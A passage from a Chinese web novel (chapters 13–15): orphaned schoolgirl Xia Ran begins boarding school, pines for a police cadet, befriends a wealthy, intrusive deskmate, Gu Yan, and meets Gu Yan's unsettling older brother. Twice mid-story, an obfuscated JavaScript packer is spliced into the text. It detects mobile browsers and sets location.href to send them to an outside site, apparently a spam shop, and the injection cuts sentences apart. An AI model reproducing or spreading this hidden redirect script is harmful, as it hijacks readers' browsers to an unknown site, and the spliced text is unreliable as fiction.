“妈妈,再见。”夏燃对徐阿秀说,“我一定会好好读书的。” 他们像成熟的大人收敛好所有的情绪,对视一眼,都在对方眼里看见了面对未知未来的勇气。 “他找不到这里的对吗?”下山的路上夏燃轻声问。 他知道她在说什么。 “除非熟人带路,现在也只有老人才知道那块路怎么走了。”陆照也说,“等我下次回来,我会再来山上看一次。” “嗯。” 夏燃垂下眼眸,拨动着手里的手机。 老的手机新的号,内存卡里空荡荡的,联系人名单里只有他一人。 马上就要分开了。她要上高中,他要去警校,再见面不知何月。 夏燃在心里反复拉扯。一个声音说,她已经麻烦他够多了,不该再给他添麻烦了。另一个声音又偷偷说,他自己说他是她哥哥的。喜欢哥哥,适当地麻烦哥哥,也是可以的吧。 山间风景在两侧飞快后退,公路越来越宽敞,车辆逐渐增多,远处开始出现小镇的影子。 “要吹风吗?”陆照也余光扫她一眼,“车里闷。” 她那边的车窗先被放了下来。夏燃没有绑头发,黑发散着披在肩头,清晨的风朝着她的脸吹过来,她眯着眼睛望向窗外,睫毛簌簌颤动。不留意之间,头发飘到了陆照也的脸上。 细细柔柔的,像长毛猫的尾巴。 陆照也闻到了家里海飞丝洗发水的味道。她身上的衣服也是新洗干净的,有家中洗衣液的味道。 一切都是熟悉的,就像她这个人一样,明明才认识几天,却像认识了很久一般。 陆照也眼前浮现出夏燃把自己家里整理到焕然一新的模样,又想起她站在火葬场的烟囱下,绝然下跪磕头的表情。 他平静地目视前方,把他这边的窗也放了下来,表情看不出心里的波动。 但他心里此刻在想,她的爸爸,真是她人生中最大的麻烦啊。 如果,没有这个麻烦就好了。 他的手指,无意识地,敲了敲方向盘。 13. 新生 与陆照也在校门口笑着挥手告别后,夏燃拖着行李箱,一步也没有回头。 她看不见他云淡风轻下的目光所向,他看不见她莞尔一笑里的恋恋不舍。皮卡的轮胎滚滚向前,他们各自奔赴各自的战场。 那是二零一一年,他们都是那么的年轻。在共同经历一个荒诞失序的八月后,一切才正式开始。 高二生活的头三天,新鲜且紧张。 首先是报道当天新班落定,夏燃有了许多新的同学和老师。 她一早就定了文科。自从上初中后,夏燃就不可控地逐渐偏科。语文和文综从始至终一直是她的强项,英语弱一些,数学次之,最垫底的是物理和化学。能考上明诚高中,全靠优势学科大力加分,外加在薄弱学科上的死记硬背和题海战术。 夏燃已知自己的强处。她这个人,记性好,一目十行,天生适合背。 班里同学有一大半是不认识的。高一十三个班被打散重组,文科班女生居多,夏燃坐在第五排靠窗处,同桌位暂时空着,是班里唯一一位没有同桌的学生。班主任秦老师是一名四十六岁的中年男人,也是她高一时的语文老师。他见夏燃语文成绩优异,让她担任了一整年的语文课代表。 今天分座结束后,秦老师特意走到夏燃身边,告诉她明天会转来一名女生,届时那位新同学就会成为她的同桌。 夏燃当然没有异议,同桌是女孩子,又不是痞子黄毛,不知老师为何要如此郑重。她心里搁着更要紧的事,但不能公开说。 那天也重新调整了宿舍。 明诚是统一寄宿制高中,除个别有特殊情况的学生外,其余人一律都是周日晚上进校,周五放学后回家。一个寝室六个人,下面书桌上面单人一米宽钢丝床,所有人共享一个蹲坑卫生间和晾衣服的小阳台。 环境是简陋的,个人隐私是欠缺的,但至少是个容身之处。 夏燃全部家当都在行李箱里,衣服鞋子学生用品,和那张银行红本存折。 存折不比磁卡,翻开来每一行都清楚记载了存取时间和账户余额。书桌抽屉自带小锁,但室友们不知是出于羊群效应还是性格里的随波逐流,总之集体不上锁。若她一人单独上锁,就成了显眼包。但若放行李箱里,有可能行李箱整个被推走。这种事情以前曾发生过一例,她不想惹不必要的麻烦。 当天晚上,夏燃抱着一本书爬上了上铺。女生普遍比男生讲究,一入住就在床边挂上了好看的小帘子,睡前一拉,众目睽睽之下就有了自己的一方天地。她拉好帘子,熄灭床头灯,把存折从书中夹页中抽出,和两张照片一起,压在了靠墙床褥之下。 报道完第二天,夏燃的新同桌还是没有来。轮番粉墨登场的是开学各科模拟考和选举班级大小委员,一整天除了最基础的吃喝拉撒几乎没得歇息,每个人都是阴云密布唉声叹气。夏燃不出意料又是语文课代表。晚自习前,她收集齐全班同学的作业本,迎着日暮红光,走过一个又一个教室,长长的影子最终停留在秦老师的办公室门口。 影子在走廊的角落里安静等待了五六分钟。她怀抱着厚厚一沓本子,背贴着墙,抬眸眺望远方。 盛夏的夕阳在她面前炙热地燃烧。硕大一颗鹅蛋黄,圆规画出的圆,油墨重彩的浓。赤红余晖亲吻着教学楼下每一棵枝繁叶茂的槐树和灌木丛,对面白色实验楼上,一群黑色的鸟波澜不惊徐徐掠过红日。 在这一片夕阳无限好的诗情画意之中,有一个女生的声音从办公室里飘了出来。她的声音悠闲轻佻,像夏威夷度假村的一杯气泡水,在肃静紧张的高中教学楼里,显得格格不入。 “抱歉诶老师,这个暑假我一直在伦敦,作业真做完了,就是回国时书包不小心丢在机场了,回去找就找不到了。国外小偷多,连书包都偷,我也是大开眼界诶。” 女生的声音轻飘飘地落了地,有十几秒的时间里没有得到回音。 夏燃没有侧头,她知道秦老师在办公室里。 中年人的停顿是深思熟虑后的克制谋略。 “好,老师信你。等明天正式上学后,就请你按照规定准时完成作业吧。明诚跟你以前读的学校不太一样,你也需要时间一点点适应。我们都互相配合,好吗?” “好呀。”女生漫不经心地回,“知道啦。” 两个人又在里面谈了一会,几乎全程都是秦老师再说,女生有一搭没一搭地应着。到了最后,秦老师默默叹了口气,问:“那你接下来每天是怎么回家的?” 女生嘻嘻轻笑了下:“司机会来接我。” 屋里人走出时,察觉到门外站了一人,余光乜斜一眼。 夏燃神色淡然,目不斜视,似乎仍在全神贯注欣赏着面前的落日。她穿着夏日校服,抱着作业本,双眸因为霞光微微眯着,浓黑的睫毛和白皙的肤色在落日里油润出一层金色,瞳孔一点红,火苗似的,整个人看过去,就像话本里的少女神像。谈不上极美,但就是让人移不开眼。 那个女生的脚步在夏燃面前停了下来。她正过脸,夏燃转动眸,二人四目相对。 短短几秒内,夏燃看见了一张过目不忘的脸。她确定,她从未在学校里见过她。 由字脸,直鼻梁,细长眼,眼梢微微上翘,皮肤是沙滩海边的健康色,留一头气垫碎盖发,两侧脸颊下方还均匀撒着六七粒淡淡的斑。女生男相,傲气十足。 夏燃以为那个声音的主人会是一个没心没肺的娇俏女孩,没想到她的声音和长相截然不同,一时之间有些惊讶。 她们看向对方的眼神,都带着三分距离,三分观察和四分意外。 二人都没说什么。女生眯着眼睛,挑着眉上下扫视夏燃,夏燃则朝对方勾了勾友善的唇角,转身敲响办公室的门。 秦老师疲倦地坐在位置上。办公室里一共四人,其余三位老师不是下班回家就是在教室管学习,是告知的最好时机。 毕竟有些事情是瞒不住的。 比如未成年在校生没有家长一事。 雪花般的告家长书需要家长签字,周末留校住宿需要通知家长,班级群里大小事宜需要家长回复。据夏燃所知,每学期头中尾都要开家长会,共计三次。 夏燃走进办公室时,反手轻轻用手背关上了门,此刻办公室里只有她跟秦老师二人了。 夏燃当然不会提具体细节。她垂着眼眸,只道暑假里母亲因肝癌去世了,父亲关系疏离常年不联系,以后所有跟家长有关的事宜,她都需要自己处理,周末也需要申请住校。 秦老师极度震惊,鼻梁上的厚眼镜滑到鼻头都忘了推回去,八百度的近视眼也不妨碍他看清面前女孩楚楚可怜的清丽脸庞。 “你还有其他亲戚代为照顾吗,经济上是否有困难的地方?”秦老师哑然问道。 “我妈妈给我留了钱,学费没问题的。”夏燃轻声说,十六岁的女生不想成为被人公开同情的对象,“也请老师替我保密。” “哎,那是自然。” 夏燃从最上面一本作业本里掏出夹在其中的纸条,上面是陆照也的电话号码。她神色自若地介绍道这是她表哥,在省城读警校,大一新生,已成年,可以作为她的紧急联系人。 秦老师百感交集。前后两位女生,年龄相当,可境遇天差地别。当语文老师当久了,对人生命运之起点落差存在着文艺中年的无常感伤。他安慰了几句,叹口气又道:“刚才那位女生你看见了吧,就是你同桌,顾颜,她明天会来上学。如果你觉得她不好相处的话……” 这话他其实是不该说的,但秦老师此刻对夏燃的同情到达顶峰,一时之间忘了当初安排她们坐同桌的初衷。 校长淡定地表示顾家人想要一个娴静漂亮、脾气好成绩好的女生做顾颜同桌,秦老师一脸黑线的同时,脑海里只浮现出夏燃一人。 比她成绩好的没她漂亮,比她娴静的没她成绩好。只能她了。 夏燃从办公室走出时,门外一个人都没有。落日被实验楼挡住一半,晚自习已经开始,走廊外静静悄悄。她回到教室,她课桌旁边的位置还是空的。 是照顾的顾,颜色的颜么?夏燃把这个名字提前记在了心里。伦敦,司机,走读,好遥远好陌生的世界。 听秦老师的口气,她做她同桌一事好像是刻意为之。 为什么呢? 睡前,夏燃照常拉好帘子,脑袋缩进被窝里,从床褥下小心翼翼抽出照片。 这是她在南镇买行李箱时,一个人飞速去街上打印店打印从手机里导出来的照片。一张徐阿秀,一张陆照也。 徐阿秀的照片里,她站在旅店的门口,迎着落日咧开嘴腼腆地笑。那时妈妈以为生活都在变好,眼神里全是希望和期待。 陆照也的照片则是那天她在他家打扫时,偷偷拿手机拍的。诺基亚按键机像素不够,打印出来有些略糊,但依然遮掩不了十六岁陆照也的帅气。少年一脸阳光,躺在她的手心里飞扬不羁地笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126780|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们已经整整两天没有任何联系了。自从她进学校开始正式上课后,手机就被统一上缴。路上时陆照也也提过一嘴,警校军训六点起床,一直到晚上才结束,不知道要不要上缴手机。 高中生上缴手机夏燃能理解,大学生了,她觉得应该不会。 夏燃突然很想很想他。 “夏燃?”她对面那床一名叫林妙妙的圆脸女生喊她,“关灯啦,夜聊准备!” 夏燃按灭了床头灯,徐阿秀和陆照也的脸庞瞬间消失在黑暗里。 女生们从早到晚坐在窄小的椅子上,回到寝室洗漱完都累得不行。经历一个暑假的失散,入睡前大脑集体疲倦和亢奋,必须得做点什么才能对抗接下来漫长的囚徒生活。 何以解忧,唯有八卦。 夏燃双手交叉搁在脑袋下,盯着浮光掠影的天花板。她的记忆已刻意屏蔽掉台风夜和夏许利,一会儿想想今天学到的内容,一会儿想想明天的新同桌顾颜,一会儿心思又回到南镇他的房子里。胡思乱想之间,室友们的声音成了明明灭灭的背景板。她依稀只知她们在聊谁追求谁,谁跟谁这个暑假在一起了,谁去哪里旅游了,谁买了一台新电脑,谁手机换成了苹果最新款。但具体谁和谁,她一个也没仔细听。 “夏燃,轮到你说了,你喜欢我们学校哪个男生呀?”是林妙妙的声音。 林妙妙跟夏燃高一一个班,不算太熟,其他人都是刚住到一起。这个喜欢有点像是盖章我们要成为好朋友的宣告。 女生们往往通过分享秘密来成为无话不说的闺蜜。总会有喜欢的人吧,好感程度也行,否则怎么融入集体话题呢?但关于这个话题又要把控得度,不能喜欢朋友也喜欢的人。高中生了,不是小学生,喜欢男生仿佛集体追星分战队。 夏燃轻声回:“没喜欢的人呢。” 不想说。陆照也不是学校里的男生。 他是她十五岁时在电视上认识的人,是她现实生活中遭遇人生冲击时唯一的援手和后背。他从屏幕里走出来,飞驰着摩托,海啸一般扎进她的脑海里。 不能说。暗恋是她一个人的秘密。 在无人知晓的角落,她放纵着自己的感情,感受着心跳的频率,一会无声地笑,一会又沉默地流泪。有什么关系呢,这是她自己的心。 女生们此起彼伏嘘了下,听过去像是完全不信,哪有少女青春期不怀春?何况夏燃这样的。有几个女生私下讨论她模样如林黛玉,性情如薛宝钗,一看就是男生会喜欢的类型。 夏燃对此毫不知情。高一太忙了,她成绩在高手如云的明诚高中只能算是中游,学习和照顾旅社忙的她焦头烂额,哪有心思再去留意其他人的目光。 林妙妙的声音在黑暗中紧追不舍:“那你喜欢什么类型的男生呀?说说嘛,明星也行呀。” 陆照也的脸像烟花一般燃放在夏燃的面前。她躲不开问题,便在无人看见的夜空里,一点一点描摹心跳的声音。 “我喜欢的男生,要勇敢、正义、善良,认准目标就一往无前,像是黑暗里的一道光。” 女生们噤声片刻,末了又有人追问:“长相呢?” 夏燃心想就是陆照也这样的,学校里没有人比陆照也更好看的了。 “要高,有肌肉,但不是太壮的那种,是少年气的线条。嗯,总之肯定是好看的啊。” 再透露下去,谁都能感受到她心里有人了。 林妙妙这时幽幽地补充了一句:“那你觉得海子翔怎么样?” 海子翔是学校公认的帅哥,隔壁理科实验班,已经稳坐两年校草的光荣席位了。 夏燃觉察出什么,淡笑道:“好看呀,不过不是我喜欢的类型,我喜欢单眼皮男生。” 海子翔双眼皮深得跟混血一样。 林妙妙没再吭声了,似是松了一口气。几秒后,其他女生也都意识到了什么,声音立刻变得亢奋激动:“你喜欢海子翔对不?” 林妙妙叹道:“喜欢他的人太多了,谁都喜欢帅哥,还有人喜欢丑男啊?” “世界是勇敢者先享受的,喜欢他的人虽然多,有几个敢表白的?说不定他就喜欢你这种类型呢!”女生们叽叽喳喳地鼓励。 林妙妙倒也大方:“那你们帮我打听下,他现在有没有女朋友嘛。” 第二天,她们还没开始打听消息,就已经不需要打听了。 海子翔是转校生顾颜的男朋友。 而顾颜带夏燃见到了另一人。 14. 九月 “顾颜,颜色的颜。”她坐她身边时,又笑着介绍了一遍自己,笑容灿烂如同盛夏阳光。 只是夏燃在这盛大笑容里却看不见暖意,像是金黄色的布在阴天里被人紧紧拉扯,扮演日头上的光。 夏燃拿着笔,侧过脸,对她回以同桌的微笑:“你好,我叫夏燃,燃烧的燃。” 是同桌了。只是每隔两个月就会调一下位置,届时谁又是谁的同桌。 “我能摸摸你的脸吗?”顾颜冷不丁地突然凑近脸,像个调皮贪玩的孩童,软溶溶地说,“你皮肤好好哦,看过去好好摸。” 夏燃感受到四周人的目光。下课时分,不上洗手间的人匝在座位上,耳朵却不由自主向她们朝圣。 新转校生总是最引人关注的,更何况像顾颜这样跟他们气味截然不同的人。 从未有人对她提过这样的要求,又亲昵又怪异,她们才刚刚认识。夏燃本能反应是身体向后退去,但几秒后她给出了回音。 “可以啊。”她回正身体,清澈坦荡地看着对方,笔还握在她的手心。 都是女孩子,有什么所谓。 顾颜双手向前,捧住夏燃的脸,拇指慢慢地左右滑动。 如果说摸一下也就罢了,只是这公开场合来回的摩挲,就显得含义不明了。 夏燃自然感到很不舒服。咫尺之间,两人呼吸声轻轻落在对方的鼻尖,像两只哺乳动物用嗅觉辨别同类。 “你长得好像以前我一个朋友。”顾颜微眯着眼,动作不停。 夏燃觉得差不多够了,她按住顾颜上下移动的手,笑容疏离:“哦,是吗?” 顾颜叹了口气,放下手眼神漂移,好似在回忆过去:“是啊,真的好像。” 话都讲到这了,照常应接下一句:“她是谁?” 一来一去之间,开启一段故事。像言情小说的老套搭讪开头,只不过换作两个女生。 夏燃没有问,转过头,开始进入上课状态。历经上一个老师拖课,课间十分钟只留放水的时间。 顾颜也不再提。上课铃声响起时,她的眼神依然还停留在夏燃的侧脸上,也不遮,也不掩,旁若无人。 她们的神情和动作落入旁观者的眼中,变成疾速缩放的瞳孔。拉拉?同学们眼神激动交错。传说中的拉拉! 消息还未扩散成谣言,午餐时分,一起更令人震惊震撼的新闻原子弹似得轰炸了死气沉沉的高中校园。 顾颜在学校食堂正门口,在鱼贯出入的人群中,光明正大地牵住了海子翔的手。 这世界上,有许多人就是能过自己只在白日梦中想象的生活。 有人出生时就住在宽敞明亮的别墅,有做事可靠的住家保姆,从幼儿园起就读学费高昂课程丰富的国际私立学校,夏天可以飞去伦敦度过一个无忧无虑的假期,冬天可以去冰灯雪霁的北海道滑雪泡温泉,想谈恋爱可以无畏学校的规章制度,一谈就是校草级别。顾颜口中说出的每一句话都令同学们睁圆双眼,小说里的富家千金跃出纸面,变成现实里活生生的人。她的长相像是偏见里对华裔女生的描述,健康,活力,细长眼,外加一双吊梢的眼尾。 应该会嫉妒的吧。只是若距离过大,嫉妒成了镜花水月。 最后更多的是好奇。 “那你为什么要转来明诚?为了你的男朋友?” 国际和公立是两个截然不同的教育体系,只听说过公立转去国际的,从没听说过还有反过来的。从早到晚上课作业屁股坐到扁塌眼球鼓成青蛙的世界,有什么可来的? “因为,我想体验不一样的人生啊。”顾颜环顾四周,表情轻松地耸了耸肩,“索然无味平平无奇也是人生。” 反正她又不需要参加高考。虽然她与他们坐在一个教室里,但是他们是不同的。遇见是漫长人生里的偶然分叉。 所以拿国际学校的学费换成进入明诚的择校费,她觉得没所谓,就当作谈恋爱时的近水楼台。 说前一句时,同学们嘴里发出了此起彼伏蛙声一片的羡慕声。待她说出索然无味时,羡慕声变成了心底忍不住的白眼。 怎么会有人这么目中无人惹人厌的! 只有夏燃一人,面色无波继续安静坐在自己的座位上,两耳不闻窗外事,埋头刷着她的题。 顾颜微挑着眉,似瞟似瞪,斜视她一眼。 八月下旬的月亮掉进回字形的教学楼里,天亮时变成了九月下旬的太阳。时间是窗外的白鸟,眨眼之间,又是盘旋一圈。 夏燃已经一个月没有见到陆照也了。高中生时间争分夺秒,大一新生大概也是如此。她猜,除了争分夺秒,还有丰富多彩。 按照从小到大被灌输的理念,初高中是早恋,一上大学就跟美少女拿出魔法棒变身似的,可以名正言顺地谈恋爱了。 每次想起陆照也,夏燃的思念就跟八十度的烧水,止不住地要刺破表面的平静。但她忍住了,两个城市,如南和北。小学初中毕业的同学都已变成陌生人,她与他又如何? “专注啊。”她反复告诉自己,“他是自由的,不是你的。” 就这样日复一日地学习生活,直到某个周六,起床时发现手机多出来一条信息。 “腾讯新出了微信,你下了吗?”他的文字说。 夏燃的心重重地跳了一下,下一秒觉得是自己小家子气了,嘴角荡漾出一个悠长的微笑,立刻下了一个。 她通讯录里唯一的号码推送了她微信里的第一个好友。 他发给她一张照片。一八六的大高个,天蓝色V领衬衫,深黑色西装长裤,银色的纽扣,锃亮的牛皮皮鞋,还打了一条同样深色的领带,身板挺直站在学校正门口,跟扮演上班族的军人似的。也不知是哪个直男给他拍的,把十八岁的男生硬生生拍成了二十八岁。 “校服之一。”文字看不出他的表情,“怎么样?” 夏燃不是制服控,她觉得还是穿休闲运动装的陆照也更自然更好看。 “很帅。”她这么回。 其实不能用帅来形容陆照也,他长得很有味道。室友曾摘抄过若干杂书的好词好句,里面有一句:骨像好的男人是一樽酒,越老越香。 经过一个夏天的军训,他脸部轮廓更立体了,衬衫遮不住健硕的身躯,古铜色的皮肤在阳光下像抹了一层红铜色的油,眼神凝视镜头,抿着嘴一丝斜笑,男性荷尔蒙快从屏幕里溢出来,不知真到了二十八岁会如何。 夏燃趴在上铺。整个寝室她是唯一一个周末留宿的人,无需再拉帘子,也无需顾及其他人。寂寞的伴侣是自由。 下一秒,手机响起一通语音通话。 夏燃滞住几秒呼吸,缓了口气,接了。 “打字太麻烦了,还是电话吧。”陆照也在手机里低低地笑,背景里有风吹过的声音。 他的声音像电流似的,把夏燃的耳朵酥得一颤一颤。酥麻沿着神经脉络,跳进了她的五脏六腑。 她捂住嘴,生怕泄漏声音里控制不住的快乐和笑意。 他在电话里一本正经地向她介绍这两周自己在做什么。从军训到同学再到老师上课的内容,讲了足足半小时。夏燃听完一遍,仿佛跟他历经了一遍大一生活。 “你呢?”他说,“过得怎么样?周末寝室里还有别人吗?” 夏燃想跟她说,她认识了一个跟自己截然不同的女生,那个人是她的同桌,是她从未接触过的有钱人。上课时间很紧张,从早到晚排满了课。主科老师总是拖堂,还要抢副科老师的课。学校饭菜挺好吃的,就是油太多,她现在缺乏运动,总是坐着,觉得人都膨胀起来,肚子上和脸上挂满了肉。她还想说,夏许利没有来找过她。自从丢掉那张电话卡后,世界安静了,真好。 但实际上说的依然无比简单:“挺好的,挺忙的,晚自习结束后回到寝室就直接要睡了。” 她一对着陆照也就紧张,口齿都不太清楚了,跟平日里的自己完全是两个人。 对面安静了一会,声音里含着笑:“高中生加油。” “嗯,你也是。” 电话挂断,怅然若失。 夏燃不喜欢这样的自己。她的额头贴着手机屏幕,在陆照也的照片上轻轻擦了擦。 待周日晚上统一上缴手机时,她突然又想到一件事。再过一阵子就是国庆节,学校节假日期间是不允许学生留校的。 电话里他没提国庆假期的事,届时她该何去何从? “嘿,燃,周六来我家,我生日!” 顾颜是在这周三放学时跟夏燃说的。她是学校里为数不多的走读生,每天五点半就可以回家。夏燃坐她身边,知道她每到下午度日如年,不是撑着头假装听课实则犯困,就是在书本上用英文写小说。夏燃有时真想说,何苦呢,我们努力是为了传说中考上大学就可以过上幸福的生活这个目标,你又是为了什么呢?说要体验,你也并没有全身心投入。 如果说是为了男朋友?海子翔读书比她认真,二人只能在课间时分碰下面。 “生日快乐。”夏燃推辞道,“只是我周末住校,中间出去就不能进来了。” “这破学校规矩可真多。”顾颜不耐地踢了下课桌,夏燃又把课桌回正。 顾颜忿忿地说:“你每天待学校不烦么,这么好的青春岁月,跟个乌龟一样天天缩井里,不烦啊?” 夏燃好笑地看了她一眼:“你这么烦这里,为什么要转来这里? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126781|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 顾颜被刺中心事,牙齿在唇边上咬了两下,好不容易把话夹生地吞下肚后,扫视一圈周边,脸又凑过去。 很奇怪,她跟别人相处都若即若离漫不经心,唯独对着夏燃,好似没有正常社交距离这一概念,说话时总是离得很近。 “燃,你这样做是对的。”她狡黠地压低声音,略带鄙夷地笑,“考上好大学,你就有好学历了,到时候你再学学化妆和打扮。凭着你楚楚动人的这张脸和身材,一定能吊到一个金龟婿,你的人生就彻底改变了。” 这话配上她的神情,显得不友善和不礼貌。 夏燃直视顾颜。她突然有了一个强烈的第六感,那天自己跟秦老师在办公室里沟通时,顾颜并没有走,而是贴着墙,听完了所有的话。她知道自己无家可归。 多年跟夏许利的斗争和一年旅社的服务业锻炼了夏燃,她已不会轻易生气。她扫过课桌上如山峦一般高叠的练习册和试卷,平静地笑了一下:“听过去很不错,看来我要更加努力了。我学习了。” 她的脸又朝向了试卷。 顾颜盯着夏燃,眼神微冷,嘴角掠过一丝不易察觉的玩味。几秒后,她的声音陡然变成悲伤,像英剧里的旁白配音:“燃,我一年只有一次生日,每年生日是我最开心的时候。你是我在这个高中唯一的同桌,也是我最要好的女生朋友,我很珍惜跟你的友谊。请你参加我的生日派对好吗?周末就住在我家吧,作业可以在我家完成,我们周日一起回,好吗?” 夏燃的笔停在了指尖。 “我没法送你生日礼物。”她决定诚实一次,“我在学校里。” “我什么都有,你来就行了。”顾颜说,“我唯一的好朋友,请不要再拒绝我了,我会伤心的。” “你真要去?”林妙妙抓着牙刷,在寝室里愤怒地转圈,“我听见她叫你去过生日了,她家住大别墅呢,你去的话想过自己要送什么礼物吗?像她们这种富家千金,几十几百的礼物根本看不上!” 女生之间的敌意是无波湖面下的波涛汹涌,夏燃在寝室里已经听林妙妙说了好几次顾颜的酸话了。 其实即便没有顾颜,海子翔也不会喜欢她的。林妙妙知道这一点,所以她更加不快乐。顾颜容貌并不出众,顶多算的上是长相个性,这说明海子翔能够喜欢不漂亮的女生。 这更说明,海子翔喜欢有钱的女生。 当天上的白月光被歹毒的巫婆变成了走廊上的蚊子血,林妙妙为此在寝室关灯之后埋在枕头下咬着牙抽泣过一场。万籁俱寂中狭窄方圆之间谁都能听见她细小短促的吸鼻声。室友们噤若寒蝉,又想出声安慰,又怕恼了她的面子,最后集体装睡,在心里哀悼她出师未捷身先死的暗恋。 夏燃能体会林妙妙的心情,但她依然有些无可奈何:“她说她不需要礼物。” 林妙妙冷哼一声,道:“她跟你客气呢,你买奢侈品包包看她要不要。换我说,你就别去了,去了就是给自己添堵。她就是秀,秀她家有钱,秀她的男朋友!” 夏燃没有再应林妙妙的讽刺。当她知道顾颜有男友时,心里偷偷地松了口气。至少比喜欢自己强多了。而且顾颜除了有时候会因为娇惯显得不太友善外,其余时间仍算是一个可以相处的同桌。 所以她最后心一软,还是答应了。顾颜说她父母都在国外出差,这次生日就是朋友之间的聚会,不需要拘束。 顾颜在周五放学铃声响起时,一把挽住了夏燃的手臂。夏燃领好手机,背着书包,在众目睽睽之下,被顾颜拉到了校门口。她已经好久没有体会周五放学出校的感觉了,恍惚间感觉在做过家家的游戏。 “我换洗衣服还在寝室。”她边走边说,“你等我一下。” “我衣服给你穿。”顾颜似一刻也不想等,“车子外面等着我们呢。” 夏燃觉得好笑:“内衣裤也借我穿吗?” 顾颜紧紧贴着她:“你什么码,我给你买新的。” 夏燃完全能够体会到为什么海子翔会是她的男朋友了,谁能拒绝一个热情如火的女孩子。 校正门口就是停车场,每周来接学生的家长或开车或电瓶车全涌在一起。女生们大多三三两两亲密地走着,男生要么孤影一人,要么勾肩搭背。十七八岁的少男少女,穿着统一的校服,毛茸茸的野生头发,厚厚的眼镜片,像池塘边上钻出绿网散养的群鸭。乌压压的人头攒动,各种喧嚣聒噪错杂一片。 一辆奔驰越野在这闹哄哄的背景声中安静地等待。 副驾驶座车窗摇下三分之一,露出上半张苍白又淡漠的脸。一根黑色碳纤维手杖静静倚在车窗边,男人的身体像是掉进没过膝盖的蓬篙中,幽幽的,隐在影影绰绰的灰云下。 15. 顾桐 那是一个普通的放学的黄昏,青春如鎏金长河流淌于车窗玻璃镜上。 夏日晚风燥热潮湿,汽车尾气贯穿枝梢。顾颜的手臂光溜溜地缠绕夏燃的臂弯,一个肆意,一个安静,一个短发,一个长发,一个肤黑,一个肤白,似连体婴,似双生花,一起穿过潮水般的人流与车辆。女孩子皮肤柔软,摩擦摇晃间,浮出一层轻薄的透明汗水,像牵牛花夜里的滚滚露珠。 男人的瞳孔在光的照耀下,变成萃在冰块中的黑色玻璃弹珠,无声无息,隔空凝视。 夏燃在漫天晚霞间,眯了眯眼,突然抬眸向某个方向无意识地望去。 在别克大众长安吉利起亚比亚迪等一堆工薪阶层燃油车中,奔驰越野方正硬朗的线条似城市钢筋水泥舞台中央安静潜伏的黑色猎影。 车窗缓缓合上。 有些事情,在临近之时,会起预言般的身体反应。譬如指甲划开泡沫箱,譬如高空俯瞰悬索桥,又譬如,走向一辆未知的车。 夏燃的心脏,突然莫名地跳动飞快,琢磨不透的第六感沿着神经末梢电流般划过脑海。 “回学校吧。”心里有个声音对她说,“不该去的。” “天太热了,出这么多汗。”一个中年司机在奔驰车边替她们打开了后座车门,凉爽的冷气像刺身拼盘下的干冰雾气。 顾颜拍了拍夏燃的书包,示意她先上车。 承诺也好,惯性也罢,夏燃上了车。 顾颜也坐进车里。车门关上,世界顷刻之间噤了声。 “哥——”她突然迸发出一声惊喜又亲昵的叫喊,“你不是说在美国参加展会回不来吗,怎么回来了?” 夏燃端端正正坐下,往前方斜对角看去一眼。 一个男人坐在副驾驶座上,目视前方,没有回头。夏燃看见他挺括的白色衬衫肩线,利落的短发鬓角和搭在汽车中控台卷起衣袖的裸露手臂。他的手臂修长瘦削,因为肤白,臂上青筋明显。 “你不是总说要惊喜吗?你生日这么重要的日子我怎么可能错过呢?”男人并没有回头,声音沉稳中夹杂一丝笑意,“你同学?” 声音醇厚,可能是二十五,也可能是三十五,夏燃分辨不出。对于十几岁的少女而言,每三年就是一个单位的辈分。 “是呀,我同桌,来参加我生日聚会的。明天我叫了一堆人,你别嫌吵哦。”夏燃听见顾颜的声音夹杂着激动又紧张的颤音。 顾颜咽了咽口水,继续说:“我介绍下,她叫夏燃,夏天的夏,燃烧的燃。燃,这是我哥。” 她没有介绍男人的姓名,就像介绍父母时,只道这是某某人妈妈,某某人爸爸。 夏燃心里又想,哥妹俩年纪差得有些多。 正准备主动向顾颜哥哥打招呼问好时,抬眸对上男人看向后视镜里的目光。 男人的眼眸似混着三分高加索血统,浓眉高鼻深目,眼窝略凹,跟顾颜完全不一样。 二人目光在镜中交错,她感受到了他的观察,如医院红外光线将自己透视。 夏末秋初之际,夏燃打了个深冬的寒颤,一时之间没能挪开目光。倒是男人先点了点头,淡淡说:“夏燃小朋友你好。” 她稳住心神,颔首变回礼貌的学生:“顾颜哥哥好。” 奔驰绕出拥堵的校门口,往北开了十分钟,上了南环西路高架。正值周五高峰期,高架拥堵,车辆移动缓慢。男人身子靠住座椅,目视前方,神情之间似有疲倦。 顾颜仍是兴奋,她喋喋不休地问了哥哥许多问题。譬如会展好玩么,有哪些国家的人参加,去纽约吃了什么餐厅,有给她带来什么礼物吗? 她坐在男人身后,变成嬉闹的幼童,没看见男人的疲倦。 男人倒像耐心沉稳的父亲,一一回答她所有的问题。 夏燃目光始终落于抱在膝盖之上的书包,安安静静地听着。 两侧车流与高楼匀速倒退。车内车外像两个世界。四个人也像四个世界。 夏燃几乎少有后悔的时刻,但此时她的的确确有了些许悔意,为什么要答应去顾颜家里过夜呢? 即便顾颜是她一个月的同桌,即便夏燃小时候有多次在邻居女孩家中留宿的经历,即便她上个月刚在陆照也的家中安然住过多日,但这并不代表她对在他人家中过夜感到舒服与自洽。 如果有自己的房子,她不会想去任何人家借宿。 